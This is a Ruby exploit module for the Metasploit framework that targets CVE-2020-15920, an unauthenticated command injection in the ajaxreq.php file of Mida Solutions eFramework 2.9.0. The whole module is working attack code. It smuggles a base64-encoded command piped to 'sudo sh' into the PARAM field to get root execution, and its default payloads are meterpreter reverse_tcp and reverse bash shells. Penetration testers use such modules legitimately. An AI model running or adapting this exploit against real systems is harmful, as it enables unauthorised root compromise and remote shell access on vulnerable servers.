##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mida Solutions eFramework ajaxreq.php Command Injection',
        'Description' => %q{
          This module exploits a command injection vulnerability in Mida
          Solutions eFramework version 2.9.0 and prior.

          The `ajaxreq.php` file allows unauthenticated users to inject
          arbitrary commands in the `PARAM` parameter to be executed as
          the apache user. The sudo configuration permits the apache user
          to execute any command as root without providing a password,
          resulting in privileged command execution as root.

          This module has been successfully tested on Mida Solutions
          eFramework-C7-2.9.0 virtual appliance.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'elbae', # discovery and exploit
          'bcoles', # Metasploit
        ],
        'References' => [
          ['CVE', '2020-15920'],
          ['EDB', '48768'],
          ['URL', 'https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html'],
        ],
        'Payload' => { 'BadChars' => "\x00" },
        'Targets' => [
          [
            'Linux (x86)', {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux (x64)', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'UNIX (cmd)', {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2020-07-24',
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path to eFramework', '/'])
    ])
  end

  def check
    res = execute_command('id')

    unless res
      return CheckCode::Safe('Connection failed')
    end

    unless res.body.include?('uid=')
      return CheckCode::Safe('Target is not vulnerable')
    end

    CheckCode::Vulnerable
  end

  def execute_command(cmd, _opts = {})
    vars_post = {
      'DIAGNOSIS' => ['PING', 'TRACEROUTE'].sample,
      'PARAM' => ";echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh"
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'PDC', 'ajaxreq.php'),
      'vars_post' => vars_post
    }, 5)

    if res && !res.body.blank?
      vprint_status("Command output: #{res.body.gsub(/<br>/, "\n")}")
    end

    res
  end

  def exploit
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
    else
      execute_cmdstager(linemax: 1_500, background: true)
    end
  end
end
